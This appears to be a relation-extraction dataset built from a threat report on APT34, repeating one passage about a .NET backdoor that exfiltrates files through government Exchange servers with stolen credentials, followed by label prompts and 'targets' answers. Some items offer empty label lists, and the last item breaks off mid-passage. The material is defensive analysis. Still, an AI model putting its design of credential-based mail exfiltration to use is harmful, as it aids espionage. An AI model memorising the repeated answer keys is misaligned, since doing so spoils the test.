First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Saudi Arabia
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Qatar
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Oman
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Kuwait
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Bahrain
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Lebanon
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Egypt
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: C&C
### Possible Relationship Labels:
['uses', 'hosts', 'owns', 'compromises', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
